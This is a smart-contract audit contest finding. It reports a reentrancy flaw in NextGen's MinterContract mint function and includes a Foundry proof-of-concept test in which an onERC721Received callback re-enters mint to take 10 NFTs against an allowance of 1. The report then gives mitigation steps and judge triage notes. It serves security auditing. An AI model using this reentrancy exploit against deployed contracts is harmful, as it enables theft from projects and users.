Mint function can be attacked by reentry

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/MinterContract.sol#L196

Vulnerability details

Impact

Detailed description of the impact of this finding.

Proof of Concept

1. Init foundry.  `forge init --force init --force` 
2. Create `MintReentrancyPOC.sol` in `test` dir with code below .
3. Run `forge test --match-contract MintReentrancyPOC -vvv`  

Code for MintReentrancyPOC.sol

This POC show user can mint 10 Nfts while mint allowance is 1 in pulic phase.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {Test, console2 as console} from "forge-std/Test.sol";

import {DelegationManagementContract} from 'smart-contracts/NFTdelegation.sol';
import {NextGenAdmins} from 'smart-contracts/NextGenAdmins.sol';
import {NextGenCore} from 'smart-contracts/NextGenCore.sol';
import {NextGenMinterContract} from 'smart-contracts/MinterContract.sol';
import {randomPool} from 'smart-contracts/XRandoms.sol';
import {NextGenRandomizerNXT} from 'smart-contracts/RandomizerNXT.sol';
import {IERC721Receiver} from 'smart-contracts/IERC721Receiver.sol';

contract MintReentrancyPOC is Test, IERC721Receiver {
    DelegationManagementContract delegation;
    NextGenAdmins internal admin;
    NextGenCore internal core;
    NextGenMinterContract internal minter;
    randomPool randoms;
    NextGenRandomizerNXT randomizerNXT;

    // users
    address deployer;
    address owner;
    address admin001;
    address alice;
    address bob;

    uint256 collectionID = 1; //hard code. For this POC it will be 1

    constructor(){
    }

    function setUp() public {
        // users
        deployer = vm.addr(0x123);
        owner = deployer;
        admin001 = vm.addr(0x200);
        alice = vm.addr(0x3001);
        bob = vm.addr(0x3002);

        vm.label(deployer, 'deployer');
        vm.label(owner, 'owner');
        vm.label(admin001, 'admin001');
        vm.label(alice, 'alice');
        vm.label(bob, 'bob');

        // deploy contracts
        vm.startPrank(deployer);

        delegation = new DelegationManagementContract();

        admin = new NextGenAdmins();
        core = new NextGenCore(
            "Next Gen Core",
            "NEXTGEN",
            address(admin)
        );
        minter = new NextGenMinterContract(
            address(core),
            address(delegation),
            address(admin)
        );

        // randoms
        randoms = new randomPool();
        randomizerNXT = new NextGenRandomizerNXT(
            address(randoms),
            address(admin),
            address(core)
        );

        admin.registerAdmin(admin001, true);

        // Set Minter Contract
        core.addMinterContract(address(minter));

        // Set randomizer
        core.addRandomizer(1, address(randomizerNXT));

        vm.stopPrank();
    }

    function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {

        if (core.balanceOf(address(this)) < 10) { // mint 10 while max allowance is 1
            minter.mint(
                1, // _collectionID // hard code just for testing
                1, // _numberOfTokens
                0, // _maxAllowance
                '', // _tokenData
                address(this), // _mintTo
                new bytes32[](1), // _merkleRoot
                address(0), // _delegator
                2 // _varg0
            );
        }
        return this.onERC721Received.selector;
    }

    function test_mint_public() public {
        assertEq(admin.owner(), address(deployer));
        assertEq(core.totalSupply(), 0);

        vm.startPrank(admin001);

        string[] memory script = new string[](1);
        script[0] = "desp";

        // 1. createCollection
        core.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            script
        );

        // 2. setCollectionData
        core.setCollectionData(
            collectionID, // _collectionID
            alice, // _collectionArtistAddress
            1, // _maxCollectionPurchases
            10, // _collectionTotalSupply
            0 // _setFinalSupplyTimeAfterMint
        );

        // 3. Set Collection Costs
        minter.setCollectionCosts(
            collectionID, // _collectionID
            0, // _collectionMintCost // 免费mint
            0, // _collectionEndMintCost
            0, // _rate
            0, // _timePeriod // 无限期？
            1, // _salesOptions // Fixed Price Sale
            address(delegation)
        );

        uint256 now = block.timestamp;
        // 4. Set Phases
        minter.setCollectionPhases(
            collectionID, // _collectionID
            now, // _allowlistStartTime
            now, // _allowlistEndTime
            now, // _publicStartTime
            now + 7 days, // _publicEndTime
            '' // _merkleRoot
        );

        // move block to public mint phrase
        vm.roll(100);
        vm.warp(now + 1 days);

        vm.stopPrank();

        uint256 price = minter.getPrice(collectionID);

        // check max allowance in public sale
        assert(core.viewMaxAllowance(collectionID)==1);
        console.log('allowance mint:',core.viewMaxAllowance(collectionID));

        // check phase
        (,,,uint256 publicStartTime, uint256 publicEndTime) = minter.retrieveCollectionPhases(collectionID);
        assert(block.timestamp>publicStartTime &&  block.timestamp<publicEndTime);

        // before mint
        assertEq(core.balanceOf(address(this)), 0);

        // 5. mint
        minter.mint(
            collectionID, // _collectionID
            1, // _numberOfTokens
            0, // // _maxAllowance
            '', // _tokenData
            address(this), // _mintTo
            new bytes32[](1), // _merkleRoot
            address(delegation), // _delegator
            2 // _varg0
        );

        // after mint
        assertEq(core.balanceOf(address(this)), 10);
        console.log('actual mint:',core.balanceOf(address(this)));

    }
}

Tools Used

Write test using foundry.

Recommended Mitigation Steps

1. The easy way is to add ReentrancyGuard to all unprivileged function especially include methods mint, burnToMint,burnOrSwapExternalToMint of contract NextGenMinterContract

   Refer ReentrancyGuard

2. It's better to follow checks-effect-interaction pattern at the same time .

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #51

[c4-pre-sort]

141345 marked the issue as duplicate of #1742

[c4-judge]

alex-ppg marked the issue as unsatisfactory: Insufficient quality